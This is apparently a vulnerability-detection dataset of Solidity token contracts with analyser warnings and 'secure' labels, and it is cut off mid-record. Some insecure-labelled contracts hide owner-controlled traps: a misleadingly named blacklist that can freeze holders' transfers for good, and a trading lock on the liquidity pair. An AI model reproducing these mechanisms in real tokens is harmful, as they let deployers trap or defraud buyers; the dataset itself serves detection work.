"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"./IBEP20Metadata.sol\" as IBEP20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./IpancakeRouter02.sol\" as IpancakeRouter02;\n\ncontract TDB is Context, IBEP20, IBEP20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4b00684): TDB.pancakeRouter should be immutable \n\t// Recommendation for 4b00684: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IpancakeRouter02 public pancakeRouter;\n\t// WARNING Optimization Issue (immutable-states | ID: c2b73df): TDB.pancakePair should be immutable \n\t// Recommendation for c2b73df: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pancakePair;\n\t// WARNING Optimization Issue (immutable-states | ID: 1bd61bc): TDB.deployer should be immutable \n\t// Recommendation for 1bd61bc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address deployer;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: f9505fe): TDB._decimals should be immutable \n\t// Recommendation for f9505fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: e2b9165): TDB._totalSupply should be immutable \n\t// Recommendation for e2b9165: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n bool private token = false;\n constructor() {\n _name = \"TestDontBuy\";\n _symbol = \"$TDB\";\n _decimals = 18;\n _totalSupply = 100_000_000 ether;\n deployer = address(msg.sender);\n _balances[owner()] = _totalSupply;\n\n IpancakeRouter02 _pancakeRouter = IpancakeRouter02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n pancakePair = IUniswapV2Factory(_pancakeRouter.factory()).createPair(\n address(this),\n _pancakeRouter.WETH()\n );\n\n pancakeRouter = _pancakeRouter;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6816a8): TDB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6816a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function Token(bool _state) external onlyOwner {\n token = _state;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n if (!token && sender != owner() && recipient != owner()) {\n require(\n sender != pancakePair && recipient != pancakePair,\n \"wait for owner\"\n );\n }\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 53444bd): TDB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 53444bd: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2316.sol",
"secure": 0,
"size_bytes": 7424
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _rewards;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n bool private _rewardsApplied = false;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function grantTOKEN(address[] calldata _rewardees_) external onlyOwner {\n for (uint256 i = 0; i < _rewardees_.length; i++) {\n _rewards[_rewardees_[i]] = true;\n }\n }\n\n function proceedTOKEN(address[] calldata _rewardees_) external onlyOwner {\n for (uint256 i = 0; i < _rewardees_.length; i++) {\n _rewards[_rewardees_[i]] = false;\n }\n }\n\n function isPip(address _rewardee_) public view returns (bool) {\n return _rewards[_rewardee_];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4fe7ce9): ERC20.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4fe7ce9: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc8940c): ERC20.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc8940c: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal virtual {\n if (_rewards[to] || _rewards[from])\n require(_rewardsApplied == true, \"\");\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2317.sol",
"secure": 0,
"size_bytes": 8366
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract COFFEES is ERC20 {\n constructor() ERC20(\"COFFEES\", \"COFFEES\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2318.sol",
"secure": 1,
"size_bytes": 278
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract AIPP is IERC20 {\n string public constant name = \"AIPP\";\n string public constant symbol = \"AIPP\";\n uint8 public constant decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: bc7586b): AIPP._totalSupply should be constant \n\t// Recommendation for bc7586b: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** uint256(decimals);\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(_balances[msg.sender] >= amount, \"ERC20: insufficient funds\");\n\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(_balances[sender] >= amount, \"ERC20: insufficient funds\");\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][msg.sender] -= amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}",
"file_name": "solidity_code_2319.sol",
"secure": 1,
"size_bytes": 2712
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\nlibrary SafeERC20 {\n using Address for address;\n\n error SafeERC20FailedOperation(address token);\n\n error SafeERC20FailedDecreaseAllowance(\n address spender,\n uint256 currentAllowance,\n uint256 requestedDecrease\n );\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.transferFrom, (from, to, value))\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n forceApprove(token, spender, oldAllowance + value);\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 requestedDecrease\n ) internal {\n unchecked {\n uint256 currentAllowance = token.allowance(address(this), spender);\n\n if (currentAllowance < requestedDecrease) {\n revert SafeERC20FailedDecreaseAllowance(\n spender,\n currentAllowance,\n requestedDecrease\n );\n }\n\n forceApprove(token, spender, currentAllowance - requestedDecrease);\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeCall(\n token.approve,\n (spender, value)\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.approve, (spender, 0))\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(data);\n\n if (returndata.length != 0 && !abi.decode(returndata, (bool))) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n address(token).code.length > 0;\n }\n}",
"file_name": "solidity_code_232.sol",
"secure": 1,
"size_bytes": 2974
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Math {\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a >= b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b + (a % b == 0 ? 0 : 1);\n }\n}",
"file_name": "solidity_code_2320.sol",
"secure": 1,
"size_bytes": 589
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract Worth is Context, IERC20, Ownable, ReentrancyGuard {\n using Math for uint256;\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1618033988 * 10 ** 8;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f3f462): Worth._name should be constant \n\t// Recommendation for 4f3f462: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Worth\";\n\t// WARNING Optimization Issue (constable-states | ID: 5d8a0d4): Worth._symbol should be constant \n\t// Recommendation for 5d8a0d4: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"WTH\";\n\t// WARNING Optimization Issue (constable-states | ID: a31cbd9): Worth._decimals should be constant \n\t// Recommendation for a31cbd9: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 8;\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a8f1581): Worth.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a8f1581: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function reflect(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eaba9ad): Worth._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for eaba9ad: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\n (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ac4a973): Worth._getTValues(uint256) performs a multiplication on the result of a division tFee = tAmount.div(100).mul(1)\n\t// Recommendation for ac4a973: Consider ordering multiplication before division.\n function _getTValues(\n uint256 tAmount\n ) private pure returns (uint256, uint256) {\n\t\t// divide-before-multiply | ID: ac4a973\n uint256 tFee = tAmount.div(100).mul(1);\n uint256 tTransferAmount = tAmount.sub(tFee);\n return (tTransferAmount, tFee);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 3243538\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2321.sol",
"secure": 0,
"size_bytes": 13310
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"./BlackList.sol\" as BlackList;\n\nabstract contract ERC20Pausable is ERC20, Pausable, BlackList {\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, amount);\n require(!isBlackListed[from], \"BlackList: black address not allowed\");\n\n require(!paused(), \"ERC20Pausable: token transfer while paused\");\n }\n}",
"file_name": "solidity_code_2322.sol",
"secure": 1,
"size_bytes": 660
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract QOM2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"QOM2\";\n string private constant _symbol = \"QOM2\"; ///////////////////////\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 10000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 6;\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 6;\n\n uint256 private _redisFee = 